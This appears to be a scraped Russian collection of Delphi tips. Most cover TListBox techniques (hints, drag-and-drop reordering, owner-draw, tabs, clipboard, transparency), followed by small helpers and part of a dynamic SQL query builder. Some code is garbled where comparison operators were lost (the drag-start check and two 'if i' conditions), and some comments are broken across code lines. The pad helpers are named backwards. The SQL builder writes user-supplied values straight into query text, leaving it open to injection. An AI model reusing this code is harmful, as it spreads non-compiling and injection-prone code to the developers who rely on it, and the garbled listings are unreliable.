Как показать Hint для частично видимых элементов ListBox.

procedure TForm1.ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
const
oldidx : Longint = -1;
var
idx : Longint;
begin
with Sender as TListBox do begin
idx := ItemAtPos(Point(x,y),True);
if (idx < 0) or (idx = oldidx) then Exit;
Application.ProcessMessages;
Application.CancelHint;
oldidx := idx;
Hint := '';
if Canvas.TextWidth(Items[idx]) > Width - 4 then Hint:=Items[idx];
end;
end;
|
Или.
procedure TfmDWMain.lbSearchMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
var
ItemNum: Integer;
begin
ItemNum := lbSearch.ItemAtPos(Point(X, Y), True);
if (ItemNum <> HintRow) then
begin
HintRow := ItemNum;
Application.CancelHint;
if HintRow > -1 then
begin
HintString := lbSearch.Items[ItemNum];
if (lbSearch.Canvas.TextWidth(HintString) <= lbSearch.ClientWidth - 25) then
HintString := '';
end
else
HintString := '';
end;
end;
procedure TfmDWMain.OnShowHint(var HintStr: string;
var CanShow: Boolean; var HintInfo: THintInfo);
begin
if not (HintInfo.HintControl is TListBox) then Exit;
with HintInfo.HintControl as TListBox do begin
HintInfo.HintPos := lbSearch.ClientToScreen(Point(21,
lbSearch.ItemRect(HintRow).Top + 1));
HintStr := HintString;
end;
end;
|
Изменение позиций элементов ListBox с помощью Drag and Drop.

procedure TForm1.ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
begin
with (Sender as TListBox) do
Items.Move(ItemIndex,ItemAtPos(Point(x,y),True));
end;
procedure TForm1.ListBox1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
Accept := (Sender=Source);
end;
|
Не забудьте в ListBox присвоить свойству DragMode значение dmAutomatic.
Изменение позиций элементов ListBox с помощью Drag and Drop 2.
Автор: Nick Hodges (Monterey, CA) Я хотел бы изменить порядок следования элементов в неотсортированном списке ListBox методом drag&drop, т.е. просто перетаскивая их мышью на нужное место. Будет еще лучше, если при удержании кнопки мыши перетаскиваемый элемент визуально перемещал бы вверх или вниз сам список (для определения своего нового месторасположения) до тех пор, пока клавиша мыши не будет отпущена (как я понял, автоматическое скроллирование - В.О.).Попробуйте для начала это:
unit Draglb;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;
type
TDragListBox = class(TListBox)
private
{ Private declarations }
protected
{ Protected declarations }
public
{ Public declarations }
procedure DragOver(Sender, Source: TObject; X, Y: Integer; State:
TDragState; var Accept: Boolean);
procedure DragDrop(Sender, Source: TObject; X, Y: Integer);
constructor Create(AOwner: TComponent); override;
{ Published declarations }
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('Custom', [TDragListBox]);
end;
constructor TDragListBox.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
DragMode := dmAutomatic;
OnDragDrop := DragDrop;
OnDragOver := DragOver;
end;
procedure TDragListBox.DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
Accept := Source = Self;
end;
procedure TDragListBox.DragDrop(Sender, Source: TObject; X, Y: Integer);
var
Value: Integer;
begin
if Sender = Self then
begin
Value := Self.ItemAtPos(Point(x, y), True);
if Value = -1 then
begin
Self.Items.Add(Self.Items[Self.ItemIndex]);
Self.Items.Delete(Self.ItemIndex);
end
else
begin
Self.Items.Insert(Value {+ 1}, Self.Items[Self.ItemIndex]);
Self.Items.Delete(Self.ItemIndex);
end;
end;
end;
end.
|
Чтобы заставить элемент перемещаться в позицию каждого элемента, вам необходимо сопоставлять область текущего элемента с текущим положения курсора мыши. Для организации автоматического скроллирования также необходимо вычислять текущие координаты курсора.
Изменение позиций элементов ListBox с помощью Drag and Drop 3.
Если вы хотите принимать перетаскиваемый объект, только если он представляет собой собственный элемент, то в обработчике OnDragOver вставьте строчку "Accept := Source=Sender;". Ниже приведен код, позволяющий сортировать элементы с помощью перетаскивания их мышкой внутри списка компонента. Вам также понадобится таймер для обеспечения функции автопрокручивания. Это означает, что при перетаскивании элемента в верхнюю часть списка, он при необходимости прокручивается вниз, дабы стали видны невидимые в верхней части списка элементы. Если вам не нужно такое поведение компонента, исключите из кода все строчки, имеющие отношение к таймеру, включая вторую строчку в обработчике события OnDragOver.
...
private
{ Private declarations }
GoingUp: Boolean;
procedure TForm1.ListBox1DragOver(Sender, Source: TObject;
X, Y: Integer; State: TDragState; var Accept: Boolean);
begin
Accept := (Sender = Source) and
(TListBox(Sender).ItemAtPos(Point(X, Y), False) >= 0);
{устанавливаем таймер для автопрокрутки}
if Accept then
with Sender as TListBox do
if Y > Height - ItemHeight then
begin
GoingUp := False;
Timer1.Enabled := True;
end
else if Y > ItemHeight then
begin
GoingUp := True;
Timer1.Enabled := True;
end
else
Timer1.Enabled := False;
end;
procedure TForm1.ListBox1DragDrop(Sender, Source: TObject;
X, Y: Integer);
var
NuPos: Integer;
begin
with Sender as TListBox do
begin
NuPos := ItemAtPos(Point(X, Y), False);
if NuPos >= Items.Count then
Dec(NuPos);
Label1.Caption := Format('Перемещено из %d в %d',
[ItemIndex, NuPos]);
Items.Move(ItemIndex, NuPos);
{выделяем перемещенный элемент}
ItemIndex := NuPos;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
with ListBox1 do
if GoingUp then
if TopIndex > 0 then
TopIndex := TopIndex - 1
else
Timer1.Enabled := False
else if TopIndex < Items.Count - 1 then
TopIndex := TopIndex + 1
else
Timer1.Enabled := False;
end;
procedure TForm1.ListBox1EndDrag(Sender, Target: TObject;
X, Y: Integer);
begin
Timer1.Enabled := False;
end;
|
Изменение позиций элементов ListBox с помощью Drag and Drop 2.
Автор: Peter DonnellyВот еще одна вариация сабжа.
procedure TPickParty.PickListBMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
if Button = mbLeft then
with Sender as TListBox do
begin
DraggedPM := ItemAtPos(Point(X, Y), True);
if DraggedPM > l;
= 0 then
BeginDrag(False);
end;
end;
procedure TPickParty.PickListBDragOver(Sender, Source: TObject; X,
Y: Integer; State: TDragState; var Accept: Boolean);
begin
if Source = PickListB then
Accept := True;
end;
procedure TPickParty.PickListBDragDrop(Sender, Source: TObject; X, Y: Integer);
var
NewIndex: integer;
begin
NewIndex := PickListB.ItemAtPos(Point(X, Y), False);
if NewIndex > PickListB.Items.Count - 1 then
NewIndex := PickListB.Items.Count - 1;
PickListB.Items.Move(DraggedPM, NewIndex);
PickListB.ItemIndex := NewIndex;
end;
|
Проверка ситуации Выход За Границы Списка при нажатии правой кнопки на списке.
При нажатии правой кнопки на компоненте TListBox вызывается PopUpMenu, но все пункты этого меню должны быть применены к тому элементу в списке, на котором и была нажата кнопка. Этот элемент может не быть в данный момент текущим ( то есть выделенным) и вообще, правая кнопка может быть нажата на той части компоненты, где реальный список уже закончился. Данная задача может быть решена следующим образом:Обрабатывается событие TListBox.onMouseDown.
procedure TMain.UserListMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
Point: TPoint;
I: Integer;
const
NoHit = -1;
begin
if Button = mbRight then
begin
// Если нажата правая кнопка мыши, выяснить, не попал ли курсор
// на элемент списка UserList
Point.X := x;
Point.Y := y;
I := UserList.ItemAtPos(Point, True);
if not (i = NoHit) then
begin
// курсор попал на элемент списка с номером i
// принудительно назначаем его текущим, т.е. отмеченным
UserList.ItemIndex := I;
TListBox(Sender).PopUpMenu.AutoPopup := True;
end
else // курсор промахнулся , нет смысла активизировать меню
TListBox(Sender).PopUpMenu.AutoPopup := False;
end;
end;
|
Пример OwnerDraw для Listbox.

Вот пример обработчика OnDrawItem, выводящий английские гласные в красном цвете:
procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
var
S: string;
N: Word;
WasColor: TColor;
begin
with Control as TListBox, Canvas do
begin
S := Items[Index];
FillRect(Rect);
MoveTo(Rect.Left + 2, Rect.Top);
SetTextAlign(Canvas.Handle, TA_LEFT or TA_UPDATECP);
WasColor := Font.Color;
for N := 1 to Length(S) do
begin
case UpCase(S[N]) of
'A', 'E', 'I', 'O', 'U': Font.Color := clRed;
else
Font.Color := WasColor;
end;
WinProcs.TextOut(Canvas.Handle, 0, 0, @S[N], 1);
end;
end;
end;
|
Обратите внимание на то, что для того, чтобы использовать стиль TA_UPDATECP (при котором каждый следующий вызов TextOut выводил текст в позиции, расположенной после предшествуюшей), необходимо использовать функцию API function TextOut (WinProcs.TextOut) вместо метода объекта Delphi Canvas TextOut.
Рисование картинок в TListBox.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{ Create a TImage on your Formular and assign a bitmap }
{ Create a TListbox on your Formular }
type
TForm1 = class(TForm)
ListBox1: TListBox;
Image1: TImage;
procedure FormCreate(Sender: TObject);
procedure ListBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
procedure ListBox1MeasureItem(Control: TWinControl; Index: Integer;
var Height: Integer);
private
{...}
public
{...}
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
with ListBox1.Items do
begin
Clear;
ListBox1.Style := lbOwnerDrawVariable;
AddObject('Bitmap1', Image1.Picture.Bitmap);
AddObject('Bitmap2', Image2.Picture.Bitmap);
AddObject('Bitmap3', Image3.Picture.Bitmap);
end;
end;
procedure CenterText(Cnv: TCanvas; Rect: TRect; S: string);
var
X, Y: Integer;
begin
X := (Rect.Right + Rect.Left - Cnv.TextWidth(S)) div 2;
Y := (Rect.Bottom + Rect.Top - Cnv.TextHeight(S)) div 2;
Cnv.TextOut(X, Y, S);
end;
procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
var
Bitmap: TBitmap;
begin
with ListBox1 do
begin
Canvas.FillRect(Rect);
if Items.Objects[Index] <> nil then
begin
Bitmap := Items.Objects[Index] as TBitmap;
Canvas.BrushCopy(Bounds(Rect.Left + 2, Rect.Top + 2,
Bitmap.Width, Bitmap.Height), Bitmap, Bounds(0, 0, Bitmap.Width,
Bitmap.Height), Bitmap.Canvas.Pixels[0, Bitmap.Height - 1]);
end;
Rect.Left := Rect.Left + Bitmap.Width + 4;
Rect.Bottom := Rect.Top + Bitmap.Height + 4;
CenterText(Canvas, Rect, Items.Strings[Index]);
end;
end;
procedure TForm1.ListBox1MeasureItem(Control: TWinControl; Index: Integer;
var Height: Integer);
begin
if Index = 0 then Height := Image1.Height + 4;
end;
Выровнять текст в TListBox вправо.

procedure TForm1.FormCreate(Sender: TObject);
begin
// Oder im Objektinspektor einstellen
// Or set in object inspector
ListBox1.Style := lbOwnerDrawFixed;
end;
procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
var
l: Integer;
t: String;
begin
with ListBox1 do
begin
Canvas.FillRect(Rect);
t := Items[Index];
l := Rect.Right - Canvas.TextWidth(t) - 1;
Canvas.TextOut(l, Rect.Top, t);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ListBox1.Items.Add(Edit1.Text);
end;
|
Навигация по выбранным элементам в ListBox.
Данный пример выводит сообщение для каждого элемента Listbox, выбранного пользователем.
procedure TForm1.Button1Click(Sender: TObject);
var
Loop: Integer;
begin
for Loop := 0 to Listbox1.Items.Count - 1 do
if Listbox1.Selected[Loop] then
ShowMessage(Listbox1.Items.Strings[Loop]);
end;
|
Колонки разной ширины в TListBox при помощи табулятора.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
const
// The maximum number of Tabs
// Die Anzahl der maximal aufretenen Tabs eintragen
MAX_TABS = 4;
Tab = #9;
var
Tabulators: array[0..MAX_TABS] of Integer;
begin
{ Set the Tabulator Widths / Tabulatorweiten festlegen}
Tabulators[0] := 70;
Tabulators[1] := 120;
Tabulators[2] := 100;
Tabulators[3] := 80;
Listbox1.TabWidth := 1;
{ Set the Tabulators / Tabulatoren setzen }
SendMessage(ListBox1.Handle, LB_SETTABSTOPS, MAX_TABS, Longint(@Tabulators));
{ Add some Items / Items hinzufugen.}
Listbox1.Items.Add('Peter' + Tab + 'Meier' + Tab + '1234-56' + Tab + 'Otzlingen');
Listbox1.Items.Add('Johann Jones' + Tab + 'Krauter' + Tab + '123-45');
end;
Скопировать строки TListBox в буфер обмена.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
Clipbrd;
procedure ListBoxToClipboard(ListBox: TListBox;
BufferSize: Integer;
CopyAll: Boolean);
var
Buffer: PChar;
Size: Integer;
Ptr: PChar;
I: Integer;
Line: string[255];
Count: Integer;
begin
if not Assigned(ListBox) then
Exit;
GetMem(Buffer, BufferSize);
Ptr := Buffer;
Count := 0;
for I := 0 to ListBox.Items.Count - 1 do
begin
Line := ListBox.Items.strings[I];
if not CopyAll and ListBox.MultiSelect and (not ListBox.Selected[I]) then
Continue;
{ Check buffer overflow }
Count := Count + Length(Line) + 3;
if Count = BufferSize then
Break;
{ Append to buffer }
Move(Line[1], Ptr^, Length(Line));
Ptr := Ptr + Length(Line);
Ptr[0] := #13;
Ptr[1] := #10;
Ptr := Ptr + 2;
end;
Ptr[0] := #0;
ClipBoard.SetTextBuf(Buffer);
FreeMem(Buffer, BufferSize);
end;
procedure ClipboardToListBox(ListBox: TListbox);
begin
if not Assigned(ListBox) then
Exit;
if not Clipboard.HasFormat(CF_TEXT) then
Exit;
Listbox.Items.Text := Clipboard.AsText;
end;
//Copy all items from Listbox1 to the clipboard
procedure TForm1.Button1Click(Sender: TObject);
begin
ListBoxToClipboard(ListBox1, 1024, True);
end;
//Paste items in clipboard to Listbox2
procedure TForm1.Button2Click(Sender: TObject);
begin
ClipboardToListBox(Listbox2);
end;
//Copy only selected items from Listbox1 to the clipboard
procedure TForm1.Button3Click(Sender: TObject);
begin
ListBoxToClipboard(Listbox1, 1024, False);
end;
Перенос строк из TListBox в TRichEdit.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function RECharIndexByPos(RichEdit: TRichEdit; X, Y: Integer): Integer;
var
P: TPoint;
begin
P := Point(X, Y);
Result := SendMessage(RichEdit.Handle, EM_CHARFROMPOS, 0, Longint(@P));
end;
procedure TForm1.RichEdit1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
var
P: TPoint;
begin
// Check, if Source is ListBox1
Accept := Source = ListBox1;
if GetCursorPos(P) then
with RichEdit1 do
begin
// Get the Index from Mouse Position
P := ScreenToClient(P);
SelStart := RECharIndexByPos(RichEdit1, P.X, P.Y);
SetFocus;
end;
end;
procedure TForm1.RichEdit1DragDrop(Sender, Source: TObject; X, Y: Integer);
begin
// finally insert text at mouse position
RichEdit1.SelText := ListBox1.Items[ListBox1.ItemIndex];
end;
Прозрачный TListBox.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
unit TransparentListBox;
(*
*
* Written by Walter Irion (CIS 114254, 2455) after the THotSpot
* sample component that Arne Sch?pers presented in the German
* c''t magazine (issue 6/1996, pp. 286 ff.).
*
* TTransparentListBox is far from being a universal solution:
* it does not prevent Windows'' scrolling mechanism from
* shifting the background along with scrolled listbox lines.
* Moreover, the scroll bar remains hidden until the keyboard
* is used to change the selection, and the scroll buttons
* become visible only when clicked.
*
* To break it short: TTransparentListBox is only suitable
* for non-scrolling lists.
*
* In fact it must be possible to write a listbox component
* that handles scrolling correctly. But my essays to intercept
* EM_LINESCROLL messages were fruitles, even though I tried
* subclassing via WndProc.
*
* A solution for transparent TEdit and TMemo controls is
* introduced in issue 9/1996 of the c''t magazine, again
* by Arne Sch?pers. But these are outright monsters with
* wrapper windows to receive notification messages as well
* as so-called pane windows that cover the actual control''s
* client area and display its content.
*
* Previous issues of the c''t magazine can be ordered from:
*
* c''t-Kopierservice
* Helstorfer Str. 7
* 30625 Hannover, Germany
*
* They expect a crossed cheque amounting to DM 14,00
* to be included with your order, but I don''t know about
* international orders.
*
*)
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TTransparentListBox = class(TListBox)
private
{ Private declarations }
protected
{ Protected declarations }
procedure CreateParams(var Params: TCreateParams); override;
procedure WMEraseBkgnd(var Msg: TWMEraseBkgnd); message WM_ERASEBKGND;
procedure DrawItem(Index: Integer; Rect: TRect; State: TOwnerDrawState);
override;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
procedure SetBounds(ALeft, ATop, AWidth, AHeight: Integer); override;
published
{ Published declarations }
property Style default lbOwnerDrawFixed;
property Ctl3D default False;
property BorderStyle default bsNone;
end;
procedure Register;
implementation
constructor TTransparentListBox.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
Ctl3D := False;
BorderStyle := bsNone;
Style := lbOwnerDrawFixed; // changing it to lbStandard results
// in loss of transparency
end;
procedure TTransparentListBox.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
Params.ExStyle := Params.ExStyle or WS_EX_TRANSPARENT;
end;
procedure TTransparentListBox.WMEraseBkgnd(var Msg: TWMEraseBkgnd);
begin
Msg.Result := 1; // Prevent background from getting erased
end;
procedure TTransparentListBox.SetBounds(ALeft, ATop, AWidth, AHeight: Integer);
var
tlbVisible: Boolean;
begin
tlbVisible := (Parent <> nil) and IsWindowVisible(Handle); // Check for
visibility
if tlbVisible then ShowWindow(Handle, SW_HIDE); // Hide-Move-Show
strategy...inherited SetBounds(ALeft, ATop, AWidth, AHeight); // ... to prevent
background...if tlbVisible then ShowWindow(Handle, SW_SHOW); // ... from
getting copied
end;
procedure TTransparentListBox.DrawItem(Index: Integer; Rect: TRect;
State: TOwnerDrawState);
var
FoundStyle: TBrushStyle;
R: TRect;
begin
FoundStyle := Canvas.Brush.Style; // Remember the brush style
R := Rect; // Adapt coordinates of drawing
rect...MapWindowPoints(Handle, Parent.Handle, R, 2); // ... to parent''s coordinate
system
InvalidateRect(Parent.Handle, @R, True); // Tell parent to redraw the
item Position
Parent.Update; // Trigger instant redraw
(required)
if not (odSelected in State) then
begin // If an unselected line is being
handled
Canvas.Brush.Style := bsClear; // use a transparent background
end
else
begin // otherwise, if the line needs to be
highlighted,
Canvas.Brush.Style := bsSolid; // some colour to the brush is
essential
end;
inherited DrawItem(Index, Rect, State); // Do the regular drawing and give
component users...
// ... a chance to provide an
OnDrawItem handler
Canvas.Brush.Style := FoundStyle; // Boy-scout rule No. 1: leave site as
you found it
end;
procedure Register;
begin
RegisterComponents('Samples', [TTransparentListBox]);
end;
end.
ListBox с графикой.

Вот пример кода. Вам необходимо установить свойство ListBox Style в lbOwnerDrawFixed. Затем в обработчике события DrawItem мы попытаемся нарисовать изображение (смотри описание события OwnerDraw в справке по Delphi).
unit Listemas;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;
type
TLTemas = class(TForm)
ListBox1: TListBox;
procedure FormActivate(Sender: TObject);
procedure ListBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
private
{ Private declarations }
public
{ Public declarations }
end;
var
LTemas: TLTemas;
implementation
{$R *.DFM}
procedure TLTemas.FormActivate(Sender: TObject);
var
Dibujo: TIcon;
begin
with ListBox1.Items do
begin
Dibujo := TIcon.create;
Dibujo.LoadFromFile('D:\Delphi\Projects\Delphi5\DelphiWorld\base\images\ico.ico');
AddObject('Delphi World - программа для всех', Dibujo);
Dibujo := TIcon.create;
Dibujo.LoadFromFile('D:\Delphi\Projects\Delphi5\DelphiWorld\base\images\ico.ico');
AddObject('Delphi World - самый большой сборник', Dibujo);
end;
end;
procedure TLTemas.ListBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
var
Icon: TIcon;
Offset: Integer; { ширина отступа текста }
begin
with (Control as TListBox).Canvas do
{ рисуем на холсте элемента управления, не на форме }
begin
FillRect(Rect); { очищаем прямоугольник }
Offset := 2; { обеспечиваем отступ по умолчанию }
Icon := TIcon((Control as TListBox).Items.Objects[Index]);
{ получаем иконку для данного элемента }
if Icon <> nil then
begin
Draw(Rect.Left + 1, Rect.Top + 2, TIcon((Control as
TListBox).Items.Objects[Index]));
Offset := Icon.width + 9;
{ добавляем четыре пикселя между иконкой и текстом }
end;
TextOut(Rect.Left + Offset, Rect.Top + 7, (Control as TListBox).Items[Index])
{ выводим текст }
end;
end;
end.
|
Воспользуйтесь событием OnDrawItem объекта ListBox (или ComboBox, или др.). В его обработчике рисовать графику так же легко, как и писать текст. (Полное управление вы получите после того, как подключите к своей работе обработку события OnMeasureItem).
procedure ListDrawItem(Control: TWinControl; Index:
Integer; Rect: TRect; State: TOwnerDrawState);
var
BitMap: TBitMap;
begin
{Здесь инициализируем Bitmap.... например, загружаем в него изображение}
with (Control as TListBox).Canvas do
begin
FillRect(Rect);
Draw(Rect.Left, Rect.Top, BitMap);
TextOut(Rect.Left + 2 + BitMap.Width, Rect.Top,
DstList.items.strings[index]); {DstList - имя списка}
end;
end;
|
Включение табуляторов в Listbox.

unit TabsLBox;
{включение табуляторов в listbox}
interface
uses WinTypes, Classes, Controls, StdCtrls;
type
TMyListBox = class(TListBox)
protected
procedure CreateParams(var Params: TCreateParams); override;
end;
procedure register;
implementation
procedure register;
begin
RegisterComponents('Samples', [TMyListBox]);
end;
procedure TMyListBox.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
Params.Style := Params.Style or LBS_USETABSTOPS;
end;
end.
|
Заполнение строки определенным символом до нужной длины.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function LeftPad(S: string; Ch: Char; Len: Integer): string;
var
RestLen: Integer;
begin
Result := S;
RestLen := Len - Length(s);
if RestLen < 1 then Exit;
Result := S + StringOfChar(Ch, RestLen);
end;
function RightPad(S: string; Ch: Char; Len: Integer): string;
var
RestLen: Integer;
begin
Result := S;
RestLen := Len - Length(s);
if RestLen < 1 then Exit;
Result := StringOfChar(Ch, RestLen) + S;
end;
{Beispiel / Example}
procedure TForm1.Button1Click(Sender: TObject);
begin
Edit1.Text := Rightpad(Edit2.Text, '-', 30);
end;
Округление в меньшую сторону.
Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> «Округление» в меньшую сторону
Функция возвращает наибольшее число,
меньшее или равное Value, которое
без остатка делится на Divider
Зависимости: нет
Автор: Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright: Dimka Maslov
Дата: 20 мая 2002 г.
***************************************************** }
function RoundPrev(Value, Divider: Integer): Integer;
asm
mov ecx, edx
cdq
idiv ecx
imul ecx
end;
Пример использования:
RoundPrev(10, 3) // = 9 RoundPrev(9, 3) // = 9
Как перевести в 16-ричный код букву.
| По утверждению ряда программистов, Гарри Каспаров во время недавней игры с шахматным компьютером использовал секретный код, давший его королю бессмертие. |
var
Str: Char;
begin
Str := 'В';
Form1.Caption := Format('%x', [Ord(Str)]);
end;
|
Библиотека для создания динамических SQL скриптов.
Автор: Подкопаев Владимир
Библиотека для организации поисковой системы в произвольной БД с помощью динамических SQL запросов.
Описание:
Результатом работы функции:
Search_out(_путь : string): TConrolSearch; |
Является создание файла с формированным SQL запросом, который в последствии используется компонентов TQuery.
Функция возвращает значение - код ошибки при формировании запроса. Если 0, то запрос сформирован удачно, в противном случае формируется код ошибки (например 1, если послан нулевой запрос). Ошибки младших байтов от 0..4 не являются критическими в плане неправильного формирования запроса. Старшие байты от 5..8 вызывают критические ошибки (TSQL не может выполнить запрос).
Перед вызовом функции, необходимо задать параметры объекта для формирования файла sql запроса.
Описание переменыых объекта Param_:
table_count кол-во используемых таблиц tables[1]...tables[table_count] список используемых таблицНапример:
tables_count := 2; tables[1] := 'uchet'; tables[2] := 'ispol'; |
Например (2 таблицы, 9 параметров):
Param_.Count := 9; if (UchetCheck.Checked = true) and (IspolCheck.Checked = true) then begin tables_count := 2; tables[1] := 'uchet'; tables[2] := 'ispol'; Param_.Reference[1] := 1; Param_.Reference[2] := 1; Param_.Reference[3] := 1; Param_.Reference[4] := 2; Param_.Reference[5] := 1; Param_.Reference[6] := 1; Param_.Reference[8] := 2; Param_.Reference[9] := 2; end; |
unit Search_engine;
interface
const
err0 = 'Search_out';
eq = '=';
min = '';
eq_min = '==';
min_max = '!=';
SEL = 'SELECT';
FROM = 'FROM ';
U = '''';
C = ',';
C_ = '.';
P = ' :PARAM_';
L = ' LIKE ';
A = ' AND ';
PP = '+';
PR = '%';
BTW = ' BETWEEN ';
N = ' !';
UP = 'upper';
ORD_ = 'ORDER BY ';
type PTypeList = 'A'..'Z';
type TFieldList = array [1..50] of string;
type EqTypeList = string[2];
type TControlSearch = record
SetByte: byte;
GetByteString: array [0..7] of string;
end;
type StrArr = array [1..50] of string[30];
RefArr = array [1..50] of integer;
PType = array [1..50] of PTypeList; // 'S' - string, 'D' - dateTime, 'N' - numeric, 'C' - vocabulary
EqType = array [1..50] of boolean;
TOrder = array [1..50] of integer;
ETL = array [1..50] of string[2];
Param = object
param_value : StrArr;
Field_Name : StrArr;
Reference : RefArr;
Count : integer;
param_name : string;
param_type : PType;
Equality : EqType;
Inverse : EqType; //Working only if Equality[i] = true
NumEq : ETL;
Order : TOrder;
end;
type Param_Result_ = object
param_value : StrArr;
Field_Name : StrArr;
Reference : RefArr;
Count : integer;
param_name : string;
param_type : PType;
Equality : EqType;
Inverse : EqType;
NumEq : ETL;
Order : TOrder;
end;
var
search_param_count, tables_count: integer;
Sql_File : Text;
tables : StrArr;
Param_ : Param;
Param_Result : Param_Result_;
ListField : TFieldList;
ListFieldCount : integer;
path_ : string;
procedure Clear_Search;
procedure SetOrder(o : integer;str : string);
function Search_out(path : string) : TControlSearch;
function Param_Set(NumParam: integer; FieldName: string; Ref: integer;
Equal: boolean; P_Type: char; P_Value: variant): TControlSearch;
implementation
uses
SysUtils;
procedure Clear_Search;
var
k: integer;
begin
for k := 1 to 50 do
Param_.param_value[k] := '';
end;
function Search_out(path: string): TControlSearch;
//Error Section
const
err1 = 'ZeroCtrlString';
var
first_str : string;
i : integer;
table_str : string;
Result_param : StrArr;
CtrlString : string;
SELECT,
TMP_SELECT : string;
FieldCount : integer;
f_type : string;
begin
i := 0;
Param_Result.Count := 0;
if ListFieldCount = 0 then
SELECT := 'SELECT* FROM '
else
begin
SELECT := SEL;
TMP_SELECT := '';
for FieldCount := 1 to ListFieldCount do
begin
if FieldCount = ListFieldCount then
begin
TMP_SELECT := TMP_SELECT + ' ' + ListField[FieldCount];
break;
end;
TMP_SELECT := TMP_SELECT + ' ' + ListField[FieldCount] + C;
end;
SELECT := SELECT + ' ' + TMP_SELECT + ' ' + FROM;
end;
repeat
inc(i);
if Param_.param_value[i] <> '' then
begin
inc(Param_Result.Count);
Param_Result.param_value[Param_Result.Count] := Param_.param_value[i];
CtrlString := CtrlString + Param_.param_value[i];
Param_Result.Field_Name[Param_Result.Count] := Param_.Field_Name[i];
Param_Result.Reference[Param_Result.Count] := Param_.Reference[i];
Param_Result.Param_type[Param_Result.Count] := Param_.Param_type[i];
Param_Result.Equality[Param_Result.Count] := Param_.Equality[i];
Param_Result.Inverse[Param_Result.Count] := Param_.Inverse[i];
Param_Result.NumEq[Param_Result.Count] := Param_.NumEq[i];
end;
until
i = Param_.Count;
// 1 BIT ERROR CHECK
if CtrlString = '' then
begin
Search_out.SetByte := 1;
Search_out.GetByteString[1] := Err0 + C_ + Err1;
AssignFile(Sql_File,path);
Rewrite(Sql_File);
writeln(Sql_File,SELECT+tables[1]);
CloseFile(Sql_file);
exit;
end
else
begin
Search_out.SetByte := 0;
Search_out.GetByteString[0] := '';
end;
i := 0;
AssignFile(Sql_File,path);
path_ := path;
Rewrite(Sql_File);
if tables_count > 1 then
begin
while i <> tables_count do
begin
inc(i);
if i = tables_count then
first_str := first_str + tables[i]
else
first_str := first_str + tables[i] + C;
end; //WHILE
end
else
first_str := tables[1];
first_str := SELECT + first_str;
writeln(Sql_File,first_str);
writeln(Sql_File,'WHERE');
i := 0;
{!MAIN REPEAT!}
repeat
inc(i);
table_str := tables[param_Result.Reference[i]];
Param_Result.param_name := Param_Result.param_value[i];
//СТРОКОВЫЙ ТИП
if (Param_Result.param_type[i] = 'S') then
if i then
begin
if Param_Result.Equality[i] = false then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
L + UP +'(' + U + Param_Result.param_name + PR + U +')' + A)
else
if Param_Result.Inverse[i] = false then
writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
'='+U+ Param_Result.param_name+U+A)
else
writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
N+'='+U+ Param_Result.param_name+U+A);
end
else
begin
if Param_Result.Equality[i] = false then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
L + UP + '(' + U + Param_Result.param_name + PR + U + ')')
else
if Param_Result.Inverse[i] = false then
writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
'='+U+ Param_Result.param_name+U)
else
writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
N+'='+U+ Param_Result.param_name+U);
end;
// ТИП ДАТА
if (Param_Result.param_type[i] = 'D') then
begin
if i + 1 then
begin
if (Param_Result.param_type[i+1] = 'D') and
(Param_Result.Reference[i] = Param_Result.Reference[i + 1]) then
begin
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
+ BTW + U+Param_Result.param_name +U+ ' ' + A +U +
Param_Result.param_value[i+1]+ U + ' '+ A);i := i + 1
end
else
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
+'='+U+Param_Result.param_name +U+A);
end;
